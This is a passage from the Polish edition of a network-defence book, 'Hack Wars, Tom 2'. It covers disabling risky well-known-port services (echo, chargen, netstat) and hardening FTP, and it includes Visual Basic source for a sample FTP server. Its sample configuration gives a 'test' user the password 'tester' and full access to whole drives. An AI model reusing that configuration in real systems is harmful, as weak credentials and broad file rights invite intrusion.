Chirillo J Hack Wars Tom 2 Administrator kontratakuje

background image
background image

3

Spis treści

O Autorze............................................................................................................ 5

Wstęp .................................................................................................................. 7

Rozdział 1. Zabezpieczanie portów i usług .......................................................................... 9

Porty zarezerwowane (well-known ports) ......................................................... 10

Zabezpieczanie portów zarezerwowanych ................................................................ 10

Porty ukryte........................................................................................................ 61

Skanowanie portów lokalnych .................................................................................. 62
Zabezpieczanie portów ukrytych .............................................................................. 96

Przeciwdziałanie gromadzeniu informacji ....................................................... 135

Informacje Whois.................................................................................................... 135
Projekt witryny internetowej................................................................................... 138
Anonimowość użytkownika.................................................................................... 147
Skanowanie zakresu adresów IP ............................................................................. 151
Inżynieria społeczna................................................................................................ 158

Rozdział 2. Mechanizmy ochrony przed włamaniami .................................................... 161

Zabezpieczanie przed penetracją...................................................................... 161

Ochrona przed programami wykorzystującymi tylne drzwi ................................. 162
Ochrona przed cookies............................................................................................ 166
Ochrona przed przepełnieniem ............................................................................... 167
Ochrona przed manipulacją dziennikami ................................................................ 173
Ochrona przed bombardowaniem poczty i spamowaniem...................................... 191
Ochrona przed łamaniem haseł ............................................................................... 194
Ochrona przed podsłuchem..................................................................................... 197
Ochrona przed podszywaniem się........................................................................... 211
Ochrona przed wirusami ......................................................................................... 212
Ochrona przed włamaniami na strony internetowe ................................................. 214

Rozdział 3. Sekrety zespołu Tiger Team.......................................................................... 223

Zabezpieczanie urządzeń sieciowych i usług................................................... 223

Bramy i routery ....................................................................................................... 225
Demony serwerów internetowych........................................................................... 232
Systemy operacyjne ................................................................................................ 237
Proxy i firewalle...................................................................................................... 252

Rozdział 4. Powiązanie mechanizmów zabezpieczających............................................. 257

Zasady bezpieczeństwa .................................................................................... 257

Zasady bezpieczeństwa ........................................................................................... 258
Tworzenie planu...................................................................................................... 262

background image


4

Hack Wars. Tom 2. Na tropie hakerów

4

Kontrola kierownicza.............................................................................................. 267
Kontrola operacyjna................................................................................................ 273
Szablony zasad bezpieczeństwa .............................................................................. 299
Analiza zabezpieczeń .............................................................................................. 299
Wyniki końcowe analizy zabezpieczeń................................................................... 305
Wdrożenie zabezpieczeń......................................................................................... 338

Dodatek A Oprogramowanie zabezpieczające ............................................................... 343

TigerSurf................................................................................................................. 343
Serwer Tiger Web ................................................................................................... 354

Dodatek B Szablony planu zabezpieczeń ........................................................................ 357

Plan zabezpieczeń głównej aplikacji....................................................................... 357
Plan zabezpieczeń systemu ogólnego wsparcia ...................................................... 367

Dodatek C Zawartość płyty CD ....................................................................................... 379

Rozdział 1. .............................................................................................................. 379
Rozdział 2. .............................................................................................................. 381
Rozdziały 3. i 4. ...................................................................................................... 382
TigerSurf................................................................................................................. 382
Lista portów ............................................................................................................ 383

Dodatek D Spis treści tomu 1. ......................................................................................... 385

Dodatek E Skorowidz tomu 1. ........................................................................................ 387

Dodatek F Słowniczek najważniejszych pojęć................................................................ 389

Skorowidz ....................................................................................................... 393




background image

5

O Autorze

Obecnie znany jako superhaker, pracujący przy najważniejszych projektach i asystu-
jący menedżerom ds. zabezpieczeń w różnych firmach, John Chirillo rozpoczął swoją
karierę komputerową w wieku lat 12, kiedy to po roku spędzonym na samodzielnym
poznawaniu komputerów napisał grę Dragon’s Tomb. Gra sprzedała się w ilości kilku
tysięcy kopii. W ciągu kolejnych pięciu lat John napisał wiele innych programów, ta-
kich jak The Lost Treasure (podręcznik pisania gier), Multimanger (zestaw oprogra-
mowania do prowadzenia księgowości, finansów i gospodarki magazynowej), Sorce-
ry
(gra przygodowa RPG), PC Notes (graficzny interfejs użytkownika do nauki
matematyki — od algebry do arytmetyki), Falcon’s Quest I i II (graficzne gry przy-
godowe) oraz Genius (kompletny system operacyjny oparty o Windows, wykorzystu-
jący mechanizm wskazywania i klikania). John uzyskał certyfikaty w wielu językach
programowania, włączając w to QuickBasic, VB, C++, Pascal, Assembler i Javę.
W późniejszym okresie John utworzył PC Optimization Kit (zwiększający do 200 procent
prędkość standardowych procesorów Intel 486).

Podobne sukcesy John odnosił w szkole; otrzymał wiele stypendiów naukowych,
między innymi na uniwersytecie Illinois Benedictine University. Chirillo prowadził
dwie firmy — Software Now i Geniusware — a następnie został konsultantem specja-
lizującym się w zabezpieczeniach i analizach. John pracował dla wielu prestiżowych
firm, gdzie wykonywał analizy zabezpieczeń i podsłuchu, projekty sieci LAN i WAN,
wdrażanie oraz rozwiązywanie problemów. W czasie tego okresu uzyskał wiele certy-
fikatów, takich jak Cisco CCNA, CCDA, CCNP, CCIE, Intel Certfied Solutions Kon-
sultant, Compaq ASE Enterprise Storage oraz Master UNIX. John Chirillo jest obec-
nie inżynierem sieciowym w firmie zajmującej się zarządzaniem technologią.

background image


6

Hack Wars. Tom 2. Na tropie hakerów

6

Podziękowania

Przede wszystkim chciałem podziękować mojej żonie nie tylko za korektę tej książki,
ale i za jej ciągłe wsparcie i cierpliwość w czasie pisania. Chciałbym także podzięko-
wać mojej rodzinie i przyjaciołom za ich zachęty i pokładane we mnie zaufanie. Czu-
ję również wyjątkową wdzięczność dla następujących osób, firm i organizacji: Neil
Ramsbottom, Mike G., Mike Down, Shadowlord, Mindgame, John Fenton, Philip Be-
am, J.L. du Preez, Buck Naked, SreRoiD, no()ne, Państwowy Instytut Standaryzacji i
Technologii (NIST), Marianne Swanson, Simple Nomad, The LAN God, Teiwaz,
Fauzan Mirza, David Wagner, Diceman, Craigt, Einar Blaberg, Cyberius, Jungman,
RX2, itsme, Greg Miller, John Vranesevich, Deborah Triant, Mentor, FBI, Krajowe
Centrum Zabezpieczenia Komputerów (NCSC), 2600.com, Fyodor, Muffy Barkocy,
Wintermute, dcypher, manicx, Tsutomu Shimomura, humble, The Posse, Jim Huff,
Soldier, Mike Frantzen, Tfreak, Dan Brumleve, Arisme, Georgi Guninski, Satanic
Mechanic, Mnemonic, The Grenadier, Jitsu, lore, 414, wszyscy członkowie H4G1S
oraz wszyscy w ValCom.

Jak zwykle to bywa, aby odnieść sukces, należy znaleźć się w otoczeniu najlepszych
ludzi. Pamiętając o tym, muszę podziękować Davidowi Fugate z Waterside Produc-
tions oraz Carol Long, Mathew Cohenowi, Adaobi Obi, Micheline Frederick oraz
wszystkim innym z wydawnictwa John Wiley & Sons, o których tu nie wymieniłem.

background image


Rozdział X.

Tytuł rozdziału

7

7

Wstęp

Coraz większa liczba użytkowników prywatnych sieci domaga się dostępu do takich
usług internetowych, jak World Wide Web, poczta elektroniczna, Telnet czy FTP.
Również firmy chcą udostępniać publicznie strony WWW i serwery FTP. Wraz
z rozwojem Internetu zwiększa się prawdopodobieństwo naruszenia bezpieczeństwa
sieci. Administratorzy sieci i menedżerowie drżą na myśl o narażeniu poufnych danych
firmowych oraz infrastruktury sieciowej na coraz popularniejsze ataki hakerów, cracke-
rów i phreaków. Jednym zdaniem, bezpieczeństwo internetowe staje się najważniejsze,
kiedy organizacja rozwija swoją sieć prywatną w celu połączenia z siecią publiczną.
Aby zapewnić wymagany poziom bezpieczeństwa, firma potrzebuje nie tylko nowocze-
snej polityki zabezpieczeń w celu uniemożliwienia nieautoryzowanego dostępu; jej me-
nedżerowie muszą w pełni zrozumieć wszystkie elementy związane z budową solid-
nych fortyfikacji chroniących przed atakami hakerów. Nawet organizacje niepołączone
z Internetem muszą ustanowić wewnętrzne środki ochronne, jeśli chcą skutecznie zarzą-
dzać dostępem użytkowników do swoich sieci oraz chronić tajne i wrażliwe informacje.

Książka Hack wars. Administrator kontratakuje omawia wszystkie te kwestie i defi-
niuje procedury, które są niezbędne do pełnej ochrony sieci i systemów przed zagro-
ż

eniami związanymi z bezpieczeństwem. Poprzez podział na rozdziały, które odnoszą

się do pierwszego tomu tej książki, Hack wars. Na tropie hakerów, przedstawiono tu-
taj kolejne kroki, które należy wykonać w celu przygotowania i wdrożenia skutecznej
polityki zabezpieczeń.

Pierwszym etapem jest poznanie przez czytelników różnych zagrożeń; realizujemy to,
przedstawiając różnorakie procedury zespołu Tiger Team, uzupełnione o przykłady
i ilustracje. Książka jest podzielona na cztery rozdziały. Rozdział 1. omawia inżynierię in-
frastruktury systemowej, wyjaśniając procesy niezbędne do zabezpieczenia wrażliwych
portów i usług. W rozdziale 2. znalazł się dokładny opis sposobu chronienia przed pene-
tracją ukrytych słabych punktów, omówionych w pierwszym tomie tej książki. Rozdział
3. przedstawia najważniejsze środki chroniące przed atakami hakerów, które można wy-
korzystać w popularnych bramach, routerach, demonach serwerów internetowych, syste-
mach operacyjnych oraz proxy i firewallach. Rozdział 4. pozwala na spojrzenie na zabez-
pieczenia sieci z pewnej perspektywy dzięki prezentacji skutecznej polityki zabezpieczeń.

Kto powinien przeczytać tę książkę?

Książka Hack wars. Administrator kontratakuje zawiera wiadomości dla wszystkich zain-
teresowanych obawiających się o bezpieczeństwo sieciowe, przeczytanie jej pozwoli zro-
zumieć metody używane do najskuteczniejszego zabezpieczania systemu oraz sieci.

background image


8

Hack Wars. Tom 2. Na tropie hakerów

8

Książka ta została napisana z myślą o następujących czytelnikach:









użytkownicy domowi lub prowadzący małe biuro, będący entuzjastami
Internetu, a wykonywane przez nich czynności w sieci to bezpieczne zakupy,
wypełnianie formularzy oraz przesyłanie plików, danych i informacji;









inżynierzy sieciowi, których całe życie zawodowe koncentruje się na kwestii
bezpieczeństwa;









inżynierzy zabezpieczeń, którzy chcą stać się guru w swojej dziedzinie;









hakerzy, crackerzy i inni, dla których ta książka będzie stanowiła formę
edukacji, jak i rozrywki;









menedżerowie nie zajmujący się techniką, których praca może zależeć
od zawartych tu informacji;









fani hakerów i wielbiciele takich filmów, jak Matrix czy Hackers;









inteligentni i ciekawi nastolatkowie, których przeznaczenie może się zmienić
po przeczytaniu tej książki.

Uwaga dla czytelnika

Wszystkie nazwy, o których wiadomo, iż stanowią znaki handlowe lub serwisowe,
zostały prawidłowo oznaczone. Nie możemy jednak w pełni potwierdzić tej informa-
cji. Użycie nazwy w tej książce nie powinno być uznane za naruszenie praw związa-
nych ze znakiem handlowym lub serwisowym.

Ta książka jest sprzedawana tylko w celach informacyjnych. Bez pisemnej zgody
firmy docelowej większość przedstawionych tu procedur jest nielegalna w Stanach
Zjednoczonych i wielu innych krajach. Ani autor, ani wydawca nie będą odpowie-
dzialni za użycie lub niewłaściwe użycie informacji zawartych w tej książce.

background image

9

Rozdział 1.

Zabezpieczanie portów i usług

W pierwszym tomie niniejszej książki, Hack wars. Na tropie hakerów, opisywaliśmy
już porty i usługi. Przedstawiliśmy także ich znaczenie dla podatności systemów na ataki
z zewnątrz. Warto jednak krótko przypomnieć — porty to swoiste „bramy”, pośredni-
czące w przesyłaniu informacji do i z komputera. Hakerzy korzystają z narzędzi zwanych
„skanerami portów” (również opisanych w pierwszym tomie), umożliwiających ich prze-
szukanie i wyszukanie tych, które są otwarte (na których prowadzony jest „nasłuch”).
Te właśnie mogą zostać wykorzystane w próbach nieuprawnionej penetracji systemu.

Z około 65 tysięcy portów komputera, pierwszych 1024 określa się jako well-known
ports
, czyli porty zarezerwowane (dosł. porty znane). Pozostałe określić można jako
porty ukryte (ang. concealed ports). W rozdziale 1. zajmiemy się technikami pozwalają-
cymi zabezpieczyć porty oraz związane z nimi usługi. Rozpoczniemy od metod zabez-
pieczenia, zarówno portów zarezerwowanych, jak i pozostałych, które są w systemie
wykorzystywane. Następnie przejdziemy do przeciwdziałania wykrywaniu danych o sys-
temie i skanowaniu portów. Wykrywanie danych o systemie docelowym, jak opisujemy
to w pierwszym tomie Hack wars, jest początkowym etapem działań hakera, poprzedza-
jącym utworzenie skutecznego planu ataku. Skanowanie portów jest najczęściej drugą
fazą gromadzenia potrzebnych informacji.

W niniejszej książce przedstawiać będziemy kolejne etapy prowadzące do spójnego
zabezpieczenia systemu. Trzymając się podejścia zespołu Tiger Team, opiszemy ko-
lejne procedury (kroki), prowadzące do skutecznej ochrony przed przełamaniem wprowa-
dzonych barier obronnych. Uporządkowanie treści odpowiadać będzie typowej kolejno-
ś

ci ich konfigurowania.

Porty zarezerwowane
(well-known ports)

Celem niniejszego podrozdziału jest wprowadzenie Czytelnika w techniki służące do
zabezpieczania najwrażliwszych portów z listy zarezerwowanych (well-known ports).

background image


10

Hack Wars. Tom 2. Na tropie hakerów

10

Są one wykorzystywane przez różnorodne usługi korzystające z transportu TCP lub
UDP. Gdy dwa systemy nawiązują komunikację, porty te stają się zakończeniami po-
łączeń logicznych, stanowiących podstawę „konwersacji” komputerów. Połączenie
TCP inicjowane jest w drodze trójstopniowej wymiany potwierdzeń (ang. three-way
handshake
), której celem jest zsynchronizowanie numerów sekwencyjnych i potwierdzeń
obu stron (komunikację TCP określa się często jako połączeniową lub gwarantowaną).
Komunikacja UDP realizowana jest przez bezpołączeniową usługę przesyłania datagra-
mów, gdzie dostarczanie danych nie jest gwarantowane, ale wysoce wydajne.

Skoncentrujemy się w przedstawionym opisie na portach określonych w pierwszym
tomie jako najbardziej wrażliwe na ataki. Ich lista wygląda następująco: echo (7), systat
(11), netstat (15), chargen (19), FTP (21), telnet (23), SMTP (25), domain (53), bootp
(67), TFTP (69), finger (79), http (80), pop2 (109), pop3 (110), portmap (111), loc-serv
(135), nbname (137), nbdatagram (138), nbsession (139), SNMP (161), exec (512), login
(513), shell (514), syslog (514), talk (517), ntalk (518), route (520) i uucp (540).

Zabezpieczanie portów zarezerwowanych

Pamiętać należy, że porty zarezerwowane to pierwsze 1024 porty, które wykorzystywane
są przez usługi systemu. Połączenia wychodzące będą miały zazwyczaj numery wyższe
od 1023. Oznacza to, że wszystkie pakiety przychodzące, kierowane do portów wyższych
niż 1023, są odpowiedziami na zainicjowane w systemie żądania. Połączenia takie korzy-
stają z portów zarezerwowanych, na których prowadzony jest nasłuch w oczekiwa-
niu żądań określonych usług. Nasłuchem zarządzają procesy systemowe albo demony
usług
. Gdy jednak oczekują one na uprawnione żądania połączeń, pozostają jednocześnie
otwarte na nadużycia. Pamiętając o tej podstawowej zależności, przyjrzyjmy się teraz
metodom „blokowania” portów zarezerwowanych i ochrony związanych z nimi usług.

Zanim jednak przejdziemy do konkretnych portów, czeka nas jeszcze krótki przegląd
rejestru systemu Windows i demona Internet Services Database (inetd, baza danych
usług internetowych) systemu UNIX. Dokładniej rzecz ujmując, inetd to proces zarzą-
dzania demonami
, zapewniający obsługę wszystkich usług sieciowych pracujących
w systemie UNIX. Opierając się na pliku konfiguracyjnym

/etc/inetd.conf

, zarządza

on aktywacją usług (ftp, telnet, login i innych). W niniejszej książce odwołujemy się
do pliku

inetd.conf

zgodnie z jego implementacją w systemie Linux, gdzie znajduje się

w katalogu

/etc/

. Należy jednak pamiętać, że w wielu odmianach systemu UNIX jego

lokalizacja może być inna. Przykładowo: w systemach AIX i Digital znajdziemy plik

inetd.conf

w katalogu

/usr/sbin

, w systemach HP-UX 9 i 10 — w katalogach, odpo-

wiednio,

/etc

i

/usr/lbin

, w systemie IRIX — w

/usr/etc

, w Solarisie —

/usr/sbin

, a w sys-

temie SunOS —

/usr/etc

.

W systemach Windows, do pewnego stopnia przyrównać można do uniksowego demo-
na inetd rejestr systemu stanowiący hierarchiczną bazę danych, w której przechowuje
się wszelkie ustawienia konfiguracyjne. Zastąpił on pełniące podobną rolę w Windows
3.x pliki

.ini

. Wszelkie dane systemowe z plików

system.ini

,

win.ini

i

control.ini

znaleźć

można w ujednoliconej bazie rejestru. Umieszczają w nim informacje inicjalizacyjne
i konfiguracyjne również wszystkie programy.

background image


Rozdział 1.

Zabezpieczanie portów i usług

11

11

Przed wprowadzeniem jakichkolwiek modyfikacji w pliku inetd.conf lub rejestrze Win-
dows, zawsze należy pamiętać o utworzeniu ich kopii zapasowych.

Port 7: Echo

Typowe schematy komunikacji nie wymagają aktywności usługi Echo. Jej jedyną rolą
jest przesłanie odpowiedzi na komunikat przesłany jako żądanie połączenia TCP lub
UDP. W takich wypadkach zaleca się więc całkowite wyłączenie usługi w celu uniknięcia
potencjalnych ataków typu Denial of Service (DoS, „uniemożliwienie działania”).
Zanim jednak to zrobimy, powinniśmy sprawdzić czy żadne oprogramowanie firmowe
— jak monitorujące czy diagnostyczne — nie wymaga jej funkcjonowania.









Aby wyłączyć usługę Echo w systemie UNIX, wprowadzamy modyfikację
w pliku

/etc/inetd.conf

, polegającą na oznaczeniu wpisu usługi jako komentarza









Aby dezaktywować usługę Echo w systemie Windows, wymagane jest
wprowadzenie zmiany w rejestrze.

Rysunek1.1.
Wyłączanie usług
w systemie UNIX

Uruchamiamy w tym celu z okna Start | Uruchom program regedit.exe. Następnie
wyszukujemy wpisy usługi Echo dla protokołów TCP i UDP, aby zmienić ich wartości
na

false

lub

0

(patrz rysunek 1.2). Po zakończeniu restartujemy system i weryfikuje-

my skuteczność wprowadzonych modyfikacji.

Jeżeli masz trudności lub obawiasz się wprowadzania zmian w rejestrze systemu Win-
dows, sięgnij do dodatku A, gdzie znajdziesz więcej informacji o oprogramowaniu wspoma-
gającym zabezpieczanie systemu. Korzystając z TigerWatch możesz monitorować i blokować
porty oraz usługi systemowe, unikając konieczności wyłączania ich „ręcznie” lub w drodze
bezpośredniej edycji rejestru.

background image


12

Hack Wars. Tom 2. Na tropie hakerów

12

Rysunek 1.2.
Modyfikowanie
rejestru systemu
Windows w celu
wył
ączenia usługi

W systemie Windows NT 4 usługę Echo wyłączyć można przez proste odinstalowanie
składnika usług sieciowych Simple TCP/IP Services (Usługi Simple TCP/IP) — przyp.
tłum
.

Port 11: Systat, port 15: Netstat

Zdalnie inicjowana, usługa Systat dostarcza informacji o stanie procesów i użytkownikach
— powinna więc zostać wyłączona. Aby to zrobić w systemie UNIX, wprowadzamy
prostą modyfikację w pliku

/et/inetd.conf

, podobnie jak w przypadku usługi Echo

(patrz rysunek 1.1). Następnie restartujemy cały system lub sam proces inetd.

Analogicznie do Systat, usługa Netstat może dostarczyć osobie nieupoważnionej danych
o aktywnych połączeniach sieciowych, jak również innych użytecznych informacji
o podsystemie komunikacyjnym — protokołach, adresach i funkcjonujących gniazdach
i rozmiarach MTU (patrz rysunek 1.3). Aby wyłączyć usługę Netstat w systemie UNIX,
również wystarczy modyfikacja pliku

inetd.conf

, podobna do przedstawionej na ry-

sunku 1.1 dla usługi Echo. Po jej wprowadzeniu restartujemy system lub sam proces inetd.

Rysunek 1.3.
Część informacji
ujawnianych przez
usług
ę Netstat

Port 19: Chargen

Usługa Chargen może zostać wykorzystana do przekazywania danych usłudze Echo
i odbierania ich w układzie nie kończącej się pętli. Łatwo w ten sposób doprowadzić
do poważnego przeciążenia systemu. Ponieważ usługa pełni wyłącznie rolę prostego

background image


Rozdział 1.

Zabezpieczanie portów i usług

13

13

generatora strumienia znaków, jest mało prawdopodobne, aby praca sieci wymagała
jej obecności. Aby ograniczyć możliwości wpływania z zewnątrz na pracę systemu,
zaleca się więc wyłączenie usługi.









Aby wyłączyć usługę w systemie UNIX, oznaczamy dotyczący jej wiersz
w pliku

/etc/inetd.conf

jako komentarz, podobnie jak przedstawiono to na

rysunku 1.1 dla usługi Echo. Następnie restartujemy system lub sam proces inetd.









Mimo, że usługa Chargen nie jest integralną częścią systemu Windows,
mogła zostać wcześniej zainstalowana. Aby uniemożliwić jej pracę,
konieczna jest edycja rejestru. Korzystamy w tym celu z okna Start | Uruchom,
uruchamiając program regedit.exe. Wyszukujemy następnie wpisy usługi
i zmieniamy ich wartości na

false

lub

0

(na rysunku 1.2 przedstawiona została

podobna operacja dla usługi Echo). Po wprowadzeniu modyfikacji, restartujemy
system i sprawdzamy ich poprawność.









Jeżeli zainstalowane zostały usługi Simple TCP/IP Services (w systemie NT
lub 2000), najprostszym sposobem wyłączenia obsługi portu Chargen jest
odinstalowanie elementu Simple TCP/IP Services (Usługi Simple TCP/IP)
poprzez arkusz właściwości połączenia sieciowego.

Port 21: FTP

O ile założenia komunikacji sieciowej nie wymagają korzystania z protokołu przesyłania
plików FTP, zaleca się wykluczenie możliwości korzystania z tej usługi. Gdy jednak
funkcjonowanie FTP jest koniecznością, istnieją inne metody ochrony. Omówimy tu
szerzej kilka sytuacji i sposobów zabezpieczania. Rozpocznijmy jednak od wyłączania
usługi, co oczywiście jest najbezpieczniejsze.









Podobnie jak w przypadku większości usług sieciowych w systemie UNIX,
oznaczenie jako komentarza wiersza usługi FTP w pliku

inetd.conf

zapewnić

powinno całkowite dezaktywowanie jej demona (patrz rysunek 1.4).
Aby wprowadzona zmiana odniosła skutek, nie wolno oczywiście
zapomnieć o restarcie demona lub, nawet lepiej, całego systemu.

Rysunek 1.4.
Wyłączanie
usługi FTP
w systemie UNIX









W systemach Windows dostępne są dwie podstawowe metody wyłączania
usługi FTP: modyfikacja konfiguracji uruchomieniowej lub zakończenie
pracy procesu aktywnego. Modyfikowanie konfiguracji uruchomieniowej

background image


14

Hack Wars. Tom 2. Na tropie hakerów

14

systemu Windows NT jest stosunkowo proste, wymaga jedynie zalogowania
użytkownika z odpowiednimi uprawnieniami. Po wybraniu kolejno Start |
Ustawienia | Panel sterowania
| Usługi, przewijamy listę usług, wyszukując
Usługa publikowania FTP. Ilustruje to rysunek 1.5.

Rysunek 1.5.
Wyszukiwanie
demona usługi FTP
w systemie
Windows NT









Po znalezieniu odpowiedniej pozycji, pojedynczym kliknięciem zaznaczamy
ją i klikamy, widoczny w prawej części okna, przycisk Zatrzymaj. Ukazuje się
wówczas okienko widoczne na rysunku 1.6. Po zatwierdzeniu operacji, demon
FTP powinien pozostać nieaktywny aż do następnego uruchomienia systemu.
Aby zapobiec jego ponownemu uruchomieniu, użyć należy z kolei przycisku
Autostart. W wyświetlanym przezeń oknie wybieramy opcję Wyłączony, po czym
klikamy OK (ilustruje to rysunek 1.7).

Rysunek 1.6.
Zatwierdzenie
wył
ączenia usługi
FTP w systemie
Windows NT

Standardowo, aby trwale wyłączyć demona usługi FTP w systemach Windows, korzy-
stamy z dedykowanego modułu administracyjnego usługi. Alternatywą jest całkowite
usunięcie jej z systemu za pomocą modułu Panelu sterowania, Dodaj/Usuń programy.
Istnieje jeszcze rozwiązanie najprostsze, pozwalające wyłączyć usługę czasowo —

background image


Rozdział 1.

Zabezpieczanie portów i usług

15

15

Rysunek 1.7.
Trwałe wyłączanie
demona usługi
FTP w systemie
Windows NT

wciśnięcie klawiszy Ctrl+Alt+Delete i wywołanie okna Zamknij program lub Mene-
d
żer zadań. Wówczas przewijamy listę procesów, znajdujemy i zaznaczamy proces
FTP, po czym klikamy przycisk Zakończ zadanie lub Zakończ proces. Ilustruje to rysu-
nek 1.8. Usługa pozostanie nieaktywna do ponownego uruchomienia systemu. Wyko-
nanie tego rodzaju operacji może być konieczne, gdy korzystamy z demona innego
niż standardowo dołączany do systemu.

Rysunek 1.8.
Kończenie pracy
demona usługi
FTP

Jak wspomnieliśmy wcześniej, jeżeli wyłączenie usługi FTP nie jest dopuszczalne, można
użyć innych sposobów jej zabezpieczenia. Przyjrzyjmy się kilku dostępnym środkom
przeciwdziałania włamaniom:









Zmiana komunikatu powitalnego FTP. Zaleca się zmianę komunikatu
wyświetlanego przez demon FTP bezpośrednio po nawiązaniu połączenia.
Zależnie od stosowanego programu, ujawniać on może osobom niepowołanym:

background image


16

Hack Wars. Tom 2. Na tropie hakerów

16

typ demona, wersję, platformę systemową i inne istotne dane. Przyjrzyjmy się
rysunkowi 1.9 — sama próba nawiązania połączenia pozwala uzyskać kilka
podstawowych informacji: nazwę systemu docelowego, typ demona FTP
i jego wersję. Włamywaczowi nie pozostaje nic prostszego jak przejrzeć
listę powszechnie znanych wad stosowanego programu i rozpocząć ich
wykorzystywanie.

Rysunek 1.9.
Dane ujawniane
przez komunikat
powitalny FTP

Niektóre pakiety FTP nie przewidują możliwości zmiany komunikatu powitalnego.









Ograniczenia połączeń FTP. Z limitem ilości połączeń FTP wiąże się dość
ciekawe zagrożenie. Standardowo, wiele programów określa tę wartość jako
stosunkowo wysoką (patrz rysunek 1.10). Przy jej modyfikowaniu, warto
zachować zdrowy rozsądek. Przede wszystkim warto rozważyć ile strumieni
połączeniowych dany serwer faktycznie potrafi obsłużyć. Przeciętny serwer
NT całkowicie „załamuje się” przy 200 jednocześnie otwartych sesjach.
Doprowadzenie do takiej awarii, przez przesłanie ogromnej liczby żądań
połączenia, zadowoli niejednego hakera.

Rysunek 1.10.
Limit połączeń FTP
na serwerze NT









Połączenia anonimowe. Istotną rzeczą jest unikanie, o ile to możliwe,
uaktywniania opcji anonimowych połączeń FTP (patrz rysunek 1.11).
Należy również mieć świadomość, że w wielu pakietach FTP,

background image


Rozdział 1.

Zabezpieczanie portów i usług

17

17

zwłaszcza dla systemu UNIX, funkcja ta pozostaje domyślnie włączona.
Jeżeli połączenia anonimowe muszą być dostępne, wymagana jest
niezwykła dbałość o ustawienia uprawnień dostępu do plików i katalogów.
Na platformach uniksowych należy również zadbać o możliwie ograniczony
plik

/etc/passwd

.

Rysunek 1.11.
Opcja anonimowych
poł
ączeń FTP









Uprawnienia. Bardzo istotne jest ścisłe określenie dla każdego użytkownika
jego praw umieszczania na serwerze i pobierania plików, jak również
uprawnień dotyczących poszczególnych plików i katalogów. Podstawowym
zaleceniem jest tu dokładne i wielokrotne sprawdzanie wprowadzonych
ustawień. Gdy liczba użytkowników jest duża, należy się liczyć z tym,
ż

e zajmie to więcej czasu. Nie będzie to jednak czas stracony. Również,

w szczególności na platformach uniksowych, wyłączamy opcje

chmod

oraz

przeglądanie katalogów. Przy konfigurowaniu systemów Windows nie wolno
zapomnieć o koncie Guest (Gość), które — w większości systemów — powinno
pozostawać wyłączone.

Tiger FTP

Pakiety systemów UNIX zawierają zazwyczaj demony FTP. Domowi czy prywatni
użytkownicy Windows poszukujący rozwiązania FTP zapewniającego im pełną kontrolę
nad procesami komunikacyjnymi również nie powinni mieć powodów do zmartwień.
Poniżej przedstawimy przykładową kompilację oprogramowania FTP. Pozwala ona
swobodnie zarządzać funkcjonowaniem serwera i zapewniać bezpieczny dostęp FTP
rodzinie i przyjaciołom. Lista dostępnych funkcji obejmuje opcje wiersza poleceń,
uprawnienia do plików i katalogów i opcje przebiegu sesji. Przedstawiony na rysunku
1.12 program TigerFTPServ może być bez ograniczeń modyfikowany, rozpowszechniany
i wykorzystywany. W jego skład wchodzi analizator sesji, wyświetlający w czasie rze-
czywistym wszystkie żądania połączeń i dane stanu transakcji. Dla uniknięcia komplikacji
i zapewnienia bezpieczeństwa, wszystkimi uprawnieniami użytkowników zarządza
plik

TFTPServ.ini

:

background image


18

Hack Wars. Tom 2. Na tropie hakerów

18

Rysunek 1.12.
Główny formularz,
a zarazem interfejs
programu
TigerFTPServ

[Settings]
Version=1.0.0
[Users]
Users=1
Name1=test
Pass1=tester
DirCnt1=2
Home1=C:\
Access1_1=c:\,RWXLMS
Access1_3=d:\,RWXLMS

Główny formularz,

FrmFTO.frm

, może zostać zmodyfikowany tak, aby pozwalał za-

rządzać połączeniami użytkowników. Można również dopasować wygląd głównego
modułu programu do własnych upodobań.

FrmFTP.frm

Public MainApp As MainApp

Private Sub Form_Unload(Cancel As Integer)
MainApp.Closing
Set MainApp = Nothing
End Sub

Private Sub EndCmd_Click()
Dim i As Integer
For i = 1 To MAX_N_USERS
If users(i).control_slot <> INVALID_SOCKET Then
retf = closesocket(users(i).control_slot)
Set users(i).Jenny = Nothing
End If
If users(i).data_slot <> INVALID_SOCKET Then
retf = closesocket(users(i).data_slot)
End If
Next
retf = closesocket(ServerSlot)
If SaveProfile(App.Path & "\tftpserv.ini", True) Then
End If
Unload Me
End Sub

Private Sub mEndCmd_Click()
Dim i As Integer
For i = 1 To MAX_N_USERS
If users(i).control_slot <> INVALID_SOCKET Then
retf = closesocket(users(i).control_slot)

background image


Rozdział 1.

Zabezpieczanie portów i usług

19

19

Set users(i).Jenny = Nothing
End If
If users(i).data_slot <> INVALID_SOCKET Then
retf = closesocket(users(i).data_slot)
End If
Next
retf = closesocket(ServerSlot)
If SaveProfile(App.Path & "\tftpserv.ini", True) Then
End If
Unload Me
End Sub

Private Sub mSetup_Click()
UserOpts.Show 1
End Sub

Formularz

AddEditDir.frm

służy do uzupełniania i modyfikowania listy katalogów,

do których użytkownik ma określone uprawnienia.

AddEditDir.frm

Option Explicit

Private Sub AddEditCnx_Click()
UserOpts.Tag = ""
Unload Me
End Sub

Private Sub AddEditDone_Click()
UserOpts.Tag = DirPath.Text
Unload Me
End Sub

Private Sub BrowseDir_Click()
AddEditDir.Tag = DirPath.Text
FindFolder.Show 1
DirPath.Text = AddEditDir.Tag
End Sub

Kolejny formularz,

FindFolder.frm

, służy jako interfejs do wyszukiwania katalogów,

do których przypisujemy użytkownikom uprawnienia.

FindFolder.frm

Option Explicit
Dim DrvS(32) As String
Dim LastStr As String
Dim DrvC As Integer

Private Sub FldrDone_Click()
Form_Terminate
End Sub


Private Sub FolderList_Click()
Dim s As String, t As String, s2 As String
Dim i As Integer
i = FolderList.ListIndex + 1
s2 = FolderList.Text
If Mid(s2, 1, 1) = "[" Then

background image


20

Hack Wars. Tom 2. Na tropie hakerów

20

s2 = Mid(s2, 2, 2) & "\"
DirPath = s2
Else
If FolderList.Text = ".." Then
s = Left(LastStr, Len(LastStr) - 1)
Do Until Right(s, 1) = "\"
s = Left(s, Len(s) - 1)
Loop
s2 = s
DirPath = s2
Else
s2 = DirPath & FolderList.Text & "\"
DirPath = s2
End If
End If
LastStr = s2
FolderList.Clear
'Debug.Print i; s2
s = FindFile("*.*", s2)
Add_Drives
End Sub

Private Sub Form_Load()
Dim s As String
GetSystemDrives 'ładowanie informacji o dyskach w systemie
If AddEditDir.Tag <> "" Then
LastStr = AddEditDir.Tag
DirPath = LastStr
s = FindFile("*.*", AddEditDir.Tag)
End If
Add_Drives
End Sub

Private Sub Add_Drives()
Dim x As Integer
For x = 1 To DrvC
FolderList.AddItem "[" & DrvS(x) & "]"
Next
